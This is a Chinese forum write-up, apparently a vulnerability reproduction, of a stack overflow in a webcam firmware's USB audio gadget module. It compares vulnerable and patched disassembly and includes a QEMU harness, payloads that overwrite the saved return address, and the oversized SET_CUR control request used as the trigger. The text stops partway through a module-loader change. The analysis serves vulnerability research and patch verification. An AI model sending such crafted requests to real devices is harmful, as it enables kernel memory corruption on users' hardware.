首页
社区
课程
招聘
[原创]CVE-2026-31720复现与修复
发表于: 17小时前 153

[原创]CVE-2026-31720复现与修复

17小时前
153

前言

最近我在研究摄像头设备的固件的内核漏洞,带漏洞的固件版本是 1.0.0,修复后的固件版本是 1.0.1。

1.0.0 出货的 usb_f_uac1.ko 里,f_audio_complete 把主机给的长度直接交给 memcpy,目标只有栈上 4 个字节。我们把这段指令原样切出来,在 QEMU 用户态里执行:32 字节全 0x41 的载荷能把返回地址改成 0x41414140。1.0.1 的同名函数会核对 Mute / Volume 的实际长度,对不上就 stall,栈不动。

整机分两步。Thumb-2 内核能在 QEMU 里启动,dummy_hcd 也注册了,但第一次从系统调用返回用户态时 CPU 还停在 ARM 状态,Thumb 指令被解错,用户态起不来。后来改用 ARM 状态的内核,在模块加载器里补了 Thumb veneer。三份出货模块都能 insmod,gadget 的 bind 返回 0,主机侧开始枚举。枚举停在读设备描述符 error -32:g_audio_setup 按厂商的 struct snd_card 去读偏移 964,主线内核里这个偏移不是同一块数据。恶意 SET_CUR 还没进到 f_audio_complete。

两份模块的 SHA-256:

  • 1.0.0 usb_f_uac1.ko:e1c3a622a78d878d2d22e5b30df7be68b62abc110815b3f344e4d7b4146bxxxx
  • 1.0.1 usb_f_uac1.ko:8333a2dcf0f78f3e927a9e79dee4ce60eaee519a69071fead79638a2dd41xxxx

源码漏洞在哪

传统 USB Audio Class 1 gadget 的控制请求完成回调在 Linux 4.9.84 的 f_uac1.c 里。f_audio_complete() 是这样写的:

static void f_audio_complete(struct usb_ep *ep, struct usb_request *req)
{
	struct f_audio *audio = req->context;
	int status = req->status;
	u32 data = 0;
	struct usb_ep *out_ep = audio->out_ep;

	switch (status) {

	case 0:				/* normal completion? */
		if (ep == out_ep)
			f_audio_out_ep_complete(ep, req);
		else if (audio->set_con) {
			memcpy(&data, req->buf, req->length);
			audio->set_con->set(audio->set_con, audio->set_cmd,
					le16_to_cpu(data));
			audio->set_con = NULL;
		}
		break;
	default:
		break;
	}
}

data 只有 4 字节,req->length 却来自主机。UAC1 Feature Unit 真正允许写的只有两种:

选择子 值 应有长度
Mute 1 1 字节
Volume 2 2 字节

这里没有拿 req->actual 去比 1 或 2。后面的 le16_to_cpu(data) 只读低 16 位,越界写在这之前已经发生了。

请求是从 audio_set_intf_req() 挂上来的。它按实体号和控制选择子找到 set_con,把完成回调设成 f_audio_complete,然后原样返回主机的 wLength:

static int audio_set_intf_req(struct usb_function *f,
		const struct usb_ctrlrequest *ctrl)
{
	struct f_audio		*audio = func_to_audio(f);
	struct usb_composite_dev *cdev = f->config->cdev;
	struct usb_request	*req = cdev->req;
	u8			id = ((le16_to_cpu(ctrl->wIndex) >> 8) & 0xFF);
	u16			len = le16_to_cpu(ctrl->wLength);
	u16			w_value = le16_to_cpu(ctrl->wValue);
	u8			con_sel = (w_value >> 8) & 0xFF;
	u8			cmd = (ctrl->bRequest & 0x0F);
	struct usb_audio_control_selector *cs;
	struct usb_audio_control *con;

	list_for_each_entry(cs, &audio->cs, list) {
		if (cs->id == id) {
			list_for_each_entry(con, &cs->control, list) {
				if (con->type == con_sel) {
					audio->set_con = con;
					break;
				}
			}
			break;
		}
	}

	audio->set_cmd = cmd;
	req->context = audio;
	req->complete = f_audio_complete;

	return len;
}

端点零按这个返回值收数据。主机把 wLength 写大,req->buf 里的字节就多,上面的 memcpy 也就跟着变长。

上游修复是提交 6e0e34d85cd46ceb37d16054e97a373a32770f6c(usb: gadget: f_uac1_legacy: validate control request size)。Mute 只接受 1 字节,Volume 只接受 2 字节,用的是 req->actual,其余情况 stall:

switch (type) {
case UAC_FU_MUTE: {
	u8 value;

	if (req->actual == sizeof(value)) {
		memcpy(&value, req->buf, sizeof(value));
		data = value;
		valid_request = true;
	}
	break;
}
case UAC_FU_VOLUME: {
	__le16 value;

	if (req->actual == sizeof(value)) {
		memcpy(&value, req->buf, sizeof(value));
		data = le16_to_cpu(value);
		valid_request = true;
	}
	break;
}
}

if (valid_request)
	con->set(con, audio->set_cmd, data);
else
	usb_ep_set_halt(ep);

厂商模块是单独编的,不能看见提交进了主线就认为固件里也有。下面以出货反汇编为准。

出货模块里的同一段代码

1.0.0 的 f_audio_complete 在 .text+0xa8,一共 50 字节。符号值是 0xa9,最低位是 Thumb 标记,指令从 0xa8 开始。

000000a8 <f_audio_complete>:
  a8:	b573      	push	{r0, r1, r4, r5, r6, lr}
  aa:	2300      	movs	r3, #0
  ac:	6b8e      	ldr	r6, [r1, #56]	; req->status
  ae:	6acc      	ldr	r4, [r1, #44]	; req->context
  b0:	9301      	str	r3, [sp, #4]	; u32 data = 0
  b2:	b986      	cbnz	r6, d6
  b4:	f8d4 50cc 	ldr.w	r5, [r4, #204]	; audio->set_con
  b8:	b16d      	cbz	r5, d6
  ba:	e9d1 1200 	ldrd	r1, r2, [r1]	; req->buf, req->length
  be:	a801      	add	r0, sp, #4	; &data
  c0:	f7ff fffe 	bl	memcpy
  c4:	6a6b      	ldr	r3, [r5, #36]	; con->set
  c6:	4628      	mov	r0, r5
  c8:	f8bd 2004 	ldrh.w	r2, [sp, #4]
  cc:	f894 10c4 	ldrb.w	r1, [r4, #196]	; audio->set_cmd
  d0:	4798      	blx	r3
  d2:	f8c4 60cc 	str.w	r6, [r4, #204]
  d6:	b002      	add	sp, #8
  d8:	bd70      	pop	{r4, r5, r6, pc}

0xba 一次取出缓冲区和长度,0xc0 就去调 memcpy,中间没有和 1、2 比较,也没有 stall。函数末尾从栈上弹 r4、r5、r6 和 pc。模块里没有 __stack_chk_fail,这段函数也没有 canary,改返回地址不需要先泄露。

push {r0, r1, r4, r5, r6, lr} 之后,低地址依次是保存的 r0、r1、r4、r5、r6、lr。str r3, [sp, #4] 把 4 字节局部变量放在保存的 r1 那个槽上,add r0, sp, #4 就是 memcpy 的起点。相对这个起点:

载荷偏移 栈上的位置 写穿的是
0 .. 3 sp+4 4 字节局部变量
4 .. 7 sp+8 已保存的 r4
8 .. 11 sp+12 已保存的 r5
12 .. 15 sp+16 已保存的 r6
16 .. 19 sp+20 已保存的 lr,也就是返回地址

所以长度要到 8、12、16、20,才会分别写满这四个槽。后面的实测和这张表对得上。

1.0.1 的函数仍从 0xa8 开始,但有 70 字节,下一条符号 f_audio_setup 在 0xee。它先看控制项类型,再看 req->actual,对不上就 usb_ep_set_halt,对上了只读 1 字节或 2 字节:

000000a8 <f_audio_complete>:
  a8:	b538      	push	{r3, r4, r5, lr}
  aa:	6b8b      	ldr	r3, [r1, #56]	; req->status
  b6:	7b1a      	ldrb	r2, [r3, #12]	; con->type
  b8:	2a01      	cmp	r2, #1
  ba:	d004      	beq.n	c6
  bc:	2a02      	cmp	r2, #2
  be:	d010      	beq.n	e2
  c0:	bl	usb_ep_set_halt
  c6:	6bca      	ldr	r2, [r1, #60]	; req->actual
  c8:	2a01      	cmp	r2, #1
  ca:	d1f9      	bne.n	c0
  cc:	680a      	ldr	r2, [r1, #0]
  ce:	7812      	ldrb	r2, [r2, #0]
  e2:	6bca      	ldr	r2, [r1, #60]
  e4:	2a02      	cmp	r2, #2
  e6:	d1eb      	bne.n	c0
  e8:	680a      	ldr	r2, [r1, #0]
  ea:	8812      	ldrh	r2, [r2, #0]

两版固件的启动脚本都会加载这个模块,并用 uac_function_enable=2 打开传统 UAC1:

insmod /lib/modules/4.9.84/usb_f_uac1.ko
insmod /lib/modules/4.9.84/usb_f_uvc.ko
insmod /lib/modules/4.9.84/g_webcam.ko idVendor=0x17ef idProduct=0x4839 \
  iSerialNumber=145081A8 streaming_maxpacket=3072 streaming_maxburst=13 \
  uvc_function_enable=2 uac_function_enable=2 p_srate=16000 p_mpsize=192

差别在模块内容,不在功能有没有被关掉。

请求结构比主线多 12 字节

出货指令用固定偏移读 struct usb_request:

指令 偏移 字段
ldrd r1, r2, [r1] 0 / 4 buf,length
ldr r4, [r1, #44] 44 context
ldr r6, [r1, #56] 56 status
ldr r2, [r1, #60] 60 actual(1.0.1 用来比长度)

主线 4.9.84 按 ARM EABI 排出来是 32 / 44 / 48,对不上。在 complete 函数指针前面加 12 字节保留区之后,三个偏移一起对上,结构变成 64 字节。下面这段程序就是在核对这件事。

#include <stddef.h>
#include <stdio.h>

struct list_head {
	struct list_head *next, *prev;
};

typedef void (*complete_fn)(void *ep, void *req);

struct usb_request_mainline {
	void *buf;
	unsigned length;
	unsigned dma;
	void *sg;
	unsigned num_sgs;
	unsigned num_mapped_sgs;
	unsigned stream_id:16;
	unsigned no_interrupt:1;
	unsigned zero:1;
	unsigned short_not_ok:1;
	complete_fn complete;
	void *context;
	struct list_head list;
	int status;
	unsigned actual;
};

struct usb_request_vendor {
	void *buf;
	unsigned length;
	unsigned dma;
	void *sg;
	unsigned num_sgs;
	unsigned num_mapped_sgs;
	unsigned stream_id:16;
	unsigned no_interrupt:1;
	unsigned zero:1;
	unsigned short_not_ok:1;
	unsigned reserved[3];
	complete_fn complete;
	void *context;
	struct list_head list;
	int status;
	unsigned actual;
};

static int check(const char *tag, size_t ctx, size_t st, size_t act, size_t sz)
{
	int ok = (ctx == 44 && st == 56 && act == 60);
	printf("%-10s context=%-3zu status=%-3zu actual=%-3zu size=%-3zu  %s\n",
	       tag, ctx, st, act, sz, ok ? "对得上出货模块" : "对不上");
	return ok;
}

int main(void)
{
	printf("出货模块要求: context=44 status=56 actual=60\n\n");
	check("主线",
	      offsetof(struct usb_request_mainline, context),
	      offsetof(struct usb_request_mainline, status),
	      offsetof(struct usb_request_mainline, actual),
	      sizeof(struct usb_request_mainline));
	int ok = check("厂商",
		       offsetof(struct usb_request_vendor, context),
		       offsetof(struct usb_request_vendor, status),
		       offsetof(struct usb_request_vendor, actual),
		       sizeof(struct usb_request_vendor));
	return ok ? 0 : 1;
}
arm-linux-gnueabihf-gcc -static -o layout_check layout_check.c
qemu-arm ./layout_check
出货模块要求: context=44 status=56 actual=60

主线       context=32  status=44  actual=48  size=52   对不上
厂商       context=44  status=56  actual=60  size=64   对得上出货模块

出货模块是按厂商改过的内核 ABI 编的,不能原样丢进一份未改结构体的主线内核里跑。

audio 和 control 的偏移也是从同一段反汇编读出来的:set_cmd 在 audio+196,set_con 在 audio+204,type 在 con+12,set 回调在 con+36。

把出货指令拿出来跑

两份模块的 .text 都从文件偏移 0x58 开始。函数在节内偏移 0xa8。1.0.0 切 50 字节,1.0.1 切 70 字节。切片的 SHA-256 分别是:

  • 1.0.0:4ee0948f824f5b054c912fde345a7f6bebde1c3f840311df6d0509f924dfca09
  • 1.0.1:b896f492fdfba285aecb67b1fd4cc76671885354399e1c284bba1eeb1d6f5097
# 1.0.0
dd if=usb_f_uac1.ko of=f491.bin bs=1 skip=$((0x58+0xa8)) count=50
# 1.0.1
dd if=usb_f_uac1.ko of=f493.bin bs=1 skip=$((0x58+0xa8)) count=70

函数里只有一条外部调用,在切片偏移 0x18,重定位类型是 R_ARM_THM_CALL。1.0.0 指向 memcpy,1.0.1 指向 usb_ep_set_halt。其余字节保持出货时的样子。执行器只把这一条 BL 改到本地桩上,因为模块里的内核符号在用户态程序里不存在。

给 1.0.0 准备的描述是:

{
  "offset": 168,
  "size": 50,
  "sha256": "4ee0948f824f5b054c912fde345a7f6bebde1c3f840311df6d0509f924dfca09",
  "external_calls": [
    { "off": 24, "type": 10, "symbol": "memcpy" }
  ]
}

1.0.1 把 size 改成 70,symbol 改成 usb_ep_set_halt,哈希换成上面那条。offset 用十进制,0xa8 就是 168;off 用十进制,0x18 就是 24。

下面是执行器。机器码放在程序自己的数据页里,是因为 Thumb 的 BL 只有大约 ±16 MB 的相对范围,mmap 到高地址就够不着桩函数。入口地址要或上 1,否则 CPU 会按 ARM 状态去解 Thumb 字节。

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <sys/mman.h>

#define OFF_REQ_BUF        0
#define OFF_REQ_LENGTH     4
#define OFF_REQ_CONTEXT   44
#define OFF_REQ_STATUS    56
#define OFF_REQ_ACTUAL    60
#define REQ_SIZE          64

#define OFF_AUDIO_SET_CMD 196
#define OFF_AUDIO_SET_CON 204
#define AUDIO_SIZE        208

#define OFF_CON_TYPE      12
#define OFF_CON_SET       36
#define CON_SIZE          40

#define UAC_FU_VOLUME      2

static volatile int      g_memcpy_called;
static volatile unsigned g_memcpy_len;
static volatile int      g_halt_called;
static volatile int      g_set_called;
static volatile uint32_t g_set_value;

void harness_memcpy(void *dst, const void *src, unsigned n)
{
	g_memcpy_called = 1;
	g_memcpy_len = n;
	memcpy(dst, src, n);
}

int harness_set_halt(void *ep, int value)
{
	(void)ep;
	(void)value;
	g_halt_called = 1;
	return 0;
}

static void fake_con_set(void *con, unsigned char cmd, uint32_t data)
{
	(void)con;
	(void)cmd;
	g_set_called = 1;
	g_set_value = data;
}

typedef struct { int off; char symbol[64]; } call_t;
typedef struct {
	unsigned offset, size;
	char     sha256[80];
	call_t   calls[8];
	int      ncalls;
} meta_t;

static int load_meta(const char *path, meta_t *m)
{
	FILE *f = fopen(path, "r");
	if (!f)
		return -1;
	char buf[8192];
	size_t n = fread(buf, 1, sizeof(buf) - 1, f);
	fclose(f);
	buf[n] = 0;
	memset(m, 0, sizeof(*m));

	char *p;
	if ((p = strstr(buf, "\"offset\"")))
		m->offset = (unsigned)strtoul(p + 9, NULL, 0);
	if ((p = strstr(buf, "\"size\"")))
		m->size = (unsigned)strtoul(p + 7, NULL, 0);
	if ((p = strstr(buf, "\"sha256\"")))
		sscanf(p + 9, " \"%79[0-9a-f]", m->sha256);

	if ((p = strstr(buf, "\"external_calls\""))) {
		while (m->ncalls < 8) {
			char *o = strstr(p, "\"off\"");
			char *s = strstr(p, "\"symbol\"");
			if (!o || !s)
				break;
			m->calls[m->ncalls].off = (int)strtoul(o + 6, NULL, 0);
			sscanf(s + 9, " \"%63[^\"]", m->calls[m->ncalls].symbol);
			m->ncalls++;
			p = s + 9;
		}
	}
	return 0;
}

volatile uint32_t g_out_r4, g_out_r5, g_out_r6;
static unsigned char g_code_page[4096] __attribute__((aligned(4096)));

extern void run_guest(void *fn, void *req);

__asm__(
".syntax unified\n"
".text\n"
".arm\n"
".global run_guest\n"
".type run_guest, %function\n"
"run_guest:\n"
"    push  {r4-r11, lr}\n"
"    mov   r4, r0\n"
"    mov   r5, r1\n"
"    mov   r0, r5\n"
"    mov   r1, r5\n"
"    blx   r4\n"
"    ldr   r7, =g_out_r4\n"
"    str   r4, [r7]\n"
"    ldr   r7, =g_out_r5\n"
"    str   r5, [r7]\n"
"    ldr   r7, =g_out_r6\n"
"    str   r6, [r7]\n"
"    pop   {r4-r11, pc}\n"
".ltorg\n"
".size run_guest, .-run_guest\n"
);

static uint32_t g_wlen;
static char     g_mode[16];

static void fault_handler(int sig, siginfo_t *si, void *ctx)
{
	(void)sig;
	(void)ctx;
	uint32_t addr = (uint32_t)(uintptr_t)si->si_addr;
	printf("RESULT wlen=%u mode=%s verdict=FAULT fault_addr=%#010x "
	       "memcpy_called=%d memcpy_len=%u halt_called=%d\n",
	       g_wlen, g_mode, addr, g_memcpy_called, g_memcpy_len, g_halt_called);
	fflush(stdout);
	_exit(0);
}

int main(int argc, char **argv)
{
	if (argc < 4) {
		fprintf(stderr, "用法: %s <blob.bin> <meta.json> <wLength> [readme]\n", argv[0]);
		return 2;
	}
	const char *blobpath = argv[1];
	const char *metapath = argv[2];
	unsigned wlen = (unsigned)strtoul(argv[3], NULL, 0);
	int readme_mode = (argc > 4 && strcmp(argv[4], "readme") == 0);

	g_wlen = wlen;
	snprintf(g_mode, sizeof(g_mode), "%s", readme_mode ? "readme" : "slots");

	meta_t meta;
	if (load_meta(metapath, &meta) != 0) {
		fprintf(stderr, "无法读取元数据 %s\n", metapath);
		return 2;
	}

	FILE *f = fopen(blobpath, "rb");
	if (!f) {
		perror("blob");
		return 2;
	}
	size_t got = fread(g_code_page, 1, sizeof(g_code_page), f);
	fclose(f);
	if (got != meta.size) {
		fprintf(stderr, "blob 尺寸不符: 读到 %zu,元数据 %u\n", got, meta.size);
		return 2;
	}
	if (mprotect((void *)((uintptr_t)g_code_page & ~(uintptr_t)0xfff),
		     4096, PROT_READ | PROT_WRITE | PROT_EXEC) != 0) {
		perror("mprotect");
		return 2;
	}
	unsigned char *code = g_code_page;
	uintptr_t fn = (uintptr_t)code | 1;

	/* Thumb BL:低 16 位是先执行的半字 11110 S imm10,
	 * 高 16 位是 11 J1 1 J2 imm11。I1 = ~(J1 ^ S),I2 = ~(J2 ^ S)。 */
	for (int i = 0; i < meta.ncalls; i++) {
		int off = meta.calls[i].off;
		uint32_t insn;
		memcpy(&insn, code + off, 4);

		uint32_t hw1 = insn & 0xffff;
		uint32_t hw2 = (insn >> 16) & 0xffff;
		if ((hw1 & 0xf800) != 0xf000 || (hw2 & 0xd000) != 0xd000) {
			fprintf(stderr, "blob+%#x 不是 Thumb BL: %#010x\n", off, insn);
			return 3;
		}

		void *stub = NULL;
		if (!strcmp(meta.calls[i].symbol, "memcpy"))
			stub = harness_memcpy;
		else if (!strcmp(meta.calls[i].symbol, "usb_ep_set_halt"))
			stub = harness_set_halt;
		if (!stub) {
			fprintf(stderr, "未知的外部调用 %s\n", meta.calls[i].symbol);
			return 3;
		}

		uint32_t here = (uint32_t)(uintptr_t)(code + off);
		int32_t rel = (int32_t)((uint32_t)(uintptr_t)stub - (here + 4));
		uint32_t s = (uint32_t)rel;
		uint32_t S = (s >> 24) & 1;
		uint32_t I1 = (s >> 23) & 1;
		uint32_t I2 = (s >> 22) & 1;
		uint32_t J1 = (~(I1 ^ S)) & 1;
		uint32_t J2 = (~(I2 ^ S)) & 1;
		uint32_t imm10 = (s >> 12) & 0x3ff;
		uint32_t imm11 = (s >> 1) & 0x7ff;
		uint32_t nhw1 = 0xf000 | (S << 10) | imm10;
		uint32_t nhw2 = 0xd000 | (J1 << 13) | (J2 << 11) | imm11;
		uint32_t newinsn = (nhw2 << 16) | nhw1;
		memcpy(code + off, &newinsn, 4);

		uint32_t back_imm = ((newinsn & 0x7ff) << 12)
				  | (((newinsn >> 16) & 0x7ff) << 1);
		if (back_imm & 0x400000)
			back_imm |= 0xff800000;
		uint32_t back_target = here + 4 + back_imm;
		if (back_target != ((uint32_t)(uintptr_t)stub & ~1u)) {
			fprintf(stderr, "重定位回读不一致\n");
			return 3;
		}
	}
	__builtin___clear_cache((char *)code, (char *)code + 4096);

	static unsigned char req[REQ_SIZE] __attribute__((aligned(8)));
	static unsigned char audio[AUDIO_SIZE] __attribute__((aligned(8)));
	static unsigned char con[CON_SIZE] __attribute__((aligned(8)));
	memset(req, 0, sizeof(req));
	memset(audio, 0, sizeof(audio));
	memset(con, 0, sizeof(con));

	unsigned char *payload = calloc(1, wlen ? wlen : 1);
	if (readme_mode) {
		memset(payload, 0x41, wlen);
	} else {
		memset(payload, 0x41, wlen);
		const uint32_t mark_r4 = 0x4a4a4a4a;
		const uint32_t mark_r5 = 0x4b4b4b4b;
		const uint32_t mark_r6 = 0x4c4c4c4c;
		const uint32_t mark_pc = 0x4d4d4d4d;
		const struct { unsigned off; uint32_t val; } slots[] = {
			{ 0x04, mark_r4 }, { 0x08, mark_r5 },
			{ 0x0c, mark_r6 }, { 0x10, mark_pc },
		};
		for (unsigned i = 0; i < 4; i++)
			if (slots[i].off + 4 <= wlen)
				memcpy(payload + slots[i].off, &slots[i].val, 4);
	}

	unsigned char ctype = UAC_FU_VOLUME;
	memcpy(con + OFF_CON_TYPE, &ctype, 1);

	void *setptr = (void *)fake_con_set;
	void *audioptr = audio;
	void *conptr = con;
	int status = 0;
	unsigned actual = wlen;

	memcpy(req + OFF_REQ_BUF, &payload, sizeof(payload));
	memcpy(req + OFF_REQ_LENGTH, &wlen, sizeof(wlen));
	memcpy(req + OFF_REQ_CONTEXT, &audioptr, sizeof(audioptr));
	memcpy(req + OFF_REQ_STATUS, &status, sizeof(status));
	memcpy(req + OFF_REQ_ACTUAL, &actual, sizeof(actual));

	unsigned char cmd = 0x01;
	memcpy(audio + OFF_AUDIO_SET_CMD, &cmd, 1);
	memcpy(audio + OFF_AUDIO_SET_CON, &conptr, sizeof(conptr));
	memcpy(con + OFF_CON_SET, &setptr, sizeof(setptr));

	struct sigaction sa;
	memset(&sa, 0, sizeof(sa));
	sa.sa_sigaction = fault_handler;
	sa.sa_flags = SA_SIGINFO;
	sigaction(SIGSEGV, &sa, NULL);
	sigaction(SIGBUS, &sa, NULL);
	sigaction(SIGILL, &sa, NULL);

	run_guest((void *)fn, req);

	printf("RESULT wlen=%u mode=%s verdict=RETURN saved_r4=%#010x saved_r5=%#010x "
	       "saved_r6=%#010x memcpy_called=%d memcpy_len=%u halt_called=%d "
	       "set_called=%d set_value=%#06x\n",
	       wlen, g_mode, g_out_r4, g_out_r5, g_out_r6,
	       g_memcpy_called, g_memcpy_len, g_halt_called,
	       g_set_called, g_set_value);
	return 0;
}
arm-linux-gnueabihf-gcc -O1 -static -o call call.c
qemu-arm ./call f491.bin f491.json 32
qemu-arm ./call f491.bin f491.json 32 readme

最后一个参数省略时,载荷在偏移 4、8、12、16 分别放 0x4a4a4a4a、0x4b4b4b4b、0x4c4c4c4c、0x4d4d4d4d,用来看写穿了哪一格。加上 readme 则整段填 0x41。

1.0.0 的长度扫描:

wLength 结果 保存的 r4 保存的 r5 保存的 r6
1 正常返回 没变 没变 —
4 正常返回 没变 没变 —
5 正常返回 低位被写成 0x41 没变 —
8 正常返回 0x4a4a4a4a 没变 —
12 正常返回 0x4a4a4a4a 0x4b4b4b4b —
16 正常返回 0x4a4a4a4a 0x4b4b4b4b 0x4c4c4c4c
20 以及 24、28、32、64、316 取指异常 — — —

从 20 字节起,故障地址是 0x4d4d4d4c。写入的返回地址是 0x4d4d4d4d,最低位是 Thumb 状态位,CPU 清掉这一位再跳。

32 字节全 0x41 的那次:

RESULT wlen=32 mode=readme verdict=FAULT fault_addr=0x41414140 memcpy_called=1 memcpy_len=32 halt_called=0

memcpy 确实被调用了,长度就是主机给的 32。返回地址 0x41414141 变成跳转目标 0x41414140。

同一套载荷换 1.0.1 的 70 字节切片:

wLength 调用 memcpy 栈上的 r4 是否 stall
1 否 没变 是
2 否 没变 否,这是 Volume 该有的长度
3 到 316(测过 3、4、5、8、12、16、18、20、24、32、64、316) 否 没变 是

只有 2 字节被留下,而且走的是定长读取,没有 memcpy。其余长度都进了 usb_ep_set_halt,已保存寄存器保持原样,也没有跳到攻击者地址。

在整机里跑

上面只证明出货指令本身会越界。接下来想让未改过的 .ko 进一个真的 4.9.84,再由 USB 控制传输走到 f_audio_complete。

出货模块的 vermagic 是:

4.9.84 SMP preempt mod_unload ARMv7 thumb2 p2v8

末尾有一个空格,内核比较时把空格也算进去。sizeof(struct module) 必须是 0x200,和模块里 .gnu.linkonce.this_module 的长度一样。模块是 Thumb-2,BL 的重定位是 R_ARM_THM_CALL(类型号 10)。4.9 的模块加载器把这个 case 放在 CONFIG_THUMB2_KERNEL 里面,ARM 状态的内核会直接报 unknown relocation: 10。所以内核必须开 Thumb-2,不能为了好启动改成 ARM 指令集。

编内核时对着这些项:

CONFIG_SMP=y
CONFIG_PREEMPT=y
CONFIG_THUMB2_KERNEL=y
CONFIG_ARM_PATCH_PHYS_VIRT=y
# CONFIG_ARM_MODULE_PLTS is not set
# CONFIG_MODVERSIONS is not set
CONFIG_MODULE_FORCE_LOAD=y
CONFIG_CC_STACKPROTECTOR_REGULAR=y
CONFIG_DEBUG_SPINLOCK=y
CONFIG_CONFIGFS_FS=y
CONFIG_SND=y
CONFIG_SND_PCM=y
CONFIG_USB=y
CONFIG_USB_GADGET=y
CONFIG_USB_DUMMY_HCD=y
CONFIG_SERIAL_AMBA_PL011=y
CONFIG_SERIAL_AMBA_PL011_CONSOLE=y
CONFIG_DEVTMPFS=y
CONFIG_KALLSYMS=y
CONFIG_KALLSYMS_ALL=y

MODVERSIONS 要关,出货模块没有 __versions 段。ARM_MODULE_PLTS 要关,出货模块没有 PLT 段,开了会报 module PLT section(s) missing。STACKPROTECTOR 和 DEBUG_SPINLOCK 是因为模块引用了 __stack_chk_guard、__stack_chk_fail 和 __raw_spin_lock_init,厂商内核编模块时开过这两项。dummy_hcd 让同一台虚拟机同时当 USB 主机和设备。

按这个配置编出来之后,自建模块的 vermagic 和出货字符串逐字符相同,struct module 是 0x200。出货的 libcomposite.ko、u_audio.ko、usb_f_uac1.ko 一共 103 个未定义符号,内核和这三份模块彼此之间都能对上。

4.9.84 在新工具链上编 Thumb-2 时,cpu_init 里那段连续 msr cpsr 换到 FIQ 之后会从地址 0 取指。我们把设置各模式栈的那几条指令改成 ARM 状态的函数来做,逻辑还是给 IRQ、Abort、Undefined、FIQ 设栈指针,然后回到 SVC。改完以后内核可以启动。

QEMU 用 virt 机器。vexpress-a15 不给 4.9 内核设备树,串口起不来。实测参数:

qemu-system-arm \
  -M virt,secure=off,highmem=off \
  -cpu cortex-a15 -m 512M \
  -kernel zImage \
  -initrd initramfs.cpio.gz \
  -append "console=ttyAMA0 rdinit=/init loglevel=7" \
  -display none -audio none \
  -serial file:console.log \
  -no-reboot

secure=off 是因为默认停在 EL3,模式切换会预取异常。highmem=off 是因为这份内核用 2G/2G 的虚拟地址划分,内存要放在低 2GB。virt 只接受 cortex-a7、cortex-a15 和 max。串口写到文件里,接到标准输出时经常什么都看不到。-audio none 是为了跳过本机没有声卡时的初始化失败。

发行版的 QEMU 是 10.2.1。另外按 10.0.0 源码编过一份,只编 arm-softmmu:

tar xf qemu-10.0.0.tar.xz
cd qemu-10.0.0
./configure --target-list=arm-softmmu --disable-docs --disable-tools --disable-werror
ninja -C build qemu-system-arm

两个版本、三种 CPU,用户态起不来的现象一样。

客户机里用原厂的启动顺序,只是把模块换成已经对上 vermagic 的那三份。没有往内核里塞自写的模块。init 里做这些事:

mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs dev /dev
mkdir -p /sys/kernel/config
mount -t configfs none /sys/kernel/config

insmod /opt/shipped/libcomposite.ko
insmod /opt/shipped/u_audio.ko
insmod /opt/shipped/usb_f_uac1.ko

G=/sys/kernel/config/usb_gadget/webcam
mkdir -p $G/strings/0x409
echo 0x17ef > $G/idVendor
echo 0x4839 > $G/idProduct
echo 0x0200 > $G/bcdUSB
echo Lenovo > $G/strings/0x409/manufacturer
echo "510 FHD Webcam" > $G/strings/0x409/product
mkdir -p $G/configs/c.1/strings/0x409
echo UAC1 > $G/configs/c.1/strings/0x409/configuration
mkdir -p $G/functions/uac1.usb0
ln -s $G/functions/uac1.usb0 $G/configs/c.1/
echo dummy_udc.0 > $G/UDC

恶意请求走 usbfs 的 USBDEVFS_SUBMITURB,端点 0,控制传输:

bmRequestType = 0x21     OUT | CLASS | INTERFACE
bRequest      = 0x01     SET_CUR
wValue        = 0x0200   Volume
wIndex        = 0x0504   接口 4,实体 5
wLength       = 主机指定的长度

数据阶段跟在 8 字节 setup 后面。dummy_hcd 会把这包从主机侧送进 gadget。

这次启动的串口里能看到:

Linux version 4.9.84 ... #5 SMP PREEMPT ...
...
dummy_hcd ...
Freeing unused kernel memory: 1024K

内核初始化完了,主机控制器也在。后面没有 dummy_udc 的绑定记录,也没有任何 SET_CUR 或 f_audio_complete。进程死在第一次从 brk 返回用户态:

Unhandled prefetch abort: unknown 1 (0x001) at 0x801062e2
Internal error: : 1 [#1] PREEMPT SMP THUMB2
CPU: 0 PID: 519 Comm: modprobe
PC is at ret_fast_syscall+0x2/0x5e
LR is at SyS_brk+0x105/0x11c
Flags: nZCv  IRQs on  FIQs on  Mode SVC_32  ISA ARM
Modules linked in:

ISA ARM,但这条路径在 Thumb-2 内核里是 Thumb 代码。CPU 用 ARM 解码去读 f8d9 1000 这种半字,于是报未定义指令。Modules linked in 是空的,当时还没有任何出货模块在跑。

同一段时间用 QEMU 的中断日志数过:IRQ 2473 次,Prefetch Abort 12 次,异常一共 2508 条。用户态没有往下走,gadget 也就没配起来。

启动过程中还碰到过两件别的事,和这次故障不是一回事。cpu_init 换到 FIQ 后取指失败,改成 ARM 状态设栈之后,内核可以进到 Freeing unused kernel memory。dummy_hcd 里 mod_timer(..., jiffies) 会在慢速仿真里把中断打满,把重排间隔放到 5 到 10 个 jiffy 之后,IRQ 从将近一万次降到上面这个数,用户态仍然回不去。cpsid 的 Thumb 编码写 CPSR 时也会把 T 位清掉,和 ret_fast_syscall 现场是同一类现象。

Thumb-2 内核要自己把用户态跑起来,还得处理这次返回。我们没有继续改这条路径,改用 ARM 内核去加载出货模块。

用 ARM 内核加载 Thumb 模块

出货模块是 Thumb-2,但它调内核一律走 R_ARM_THM_CALL。4.9 把这个重定位放在 CONFIG_THUMB2_KERNEL 里面,ARM 内核会直接报 unknown relocation: 10。把这个分支补上之后还有两个问题:Thumb 的 BL 只能跳到 Thumb 地址,而且跳不远。

CONFIG_PAGE_OFFSET = 0x80000000,VMSPLIT_2G
模块区             = PAGE_OFFSET - 16MB = 0x7f000000
memcpy             = 0x8036a040
距离               = 约 20MB
Thumb BL 范围      = ±16MB

解决办法是加一层 8 字节的 veneer:

ldr.w pc, [pc, #0]      @ f8df f000
.word target            @ 目标绝对地址

ldr.w pc 会看目标地址的最低位,0 进 ARM,1 进 Thumb。单独测过一次:

arm_target   = 0x10354  bit0=0
thumb_veneer = 0x1035d  bit0=1
thumb_caller(1) = 101

对应的指令就是这两条:

0001035c <thumb_veneer>:
   1035c:	f8df f000 	ldr.w	pc, [pc]
   10360:	00010354 	.word	0x00010354

模块加载器里改了三处。第一处把 R_ARM_THM_CALL / R_ARM_THM_JUMP24 挪出 CONFIG_THUMB2_KERNEL,不再拒绝「目标不是 Thumb 地址」:

		case R_ARM_THM_CALL:
		case R_ARM_THM_JUMP24:
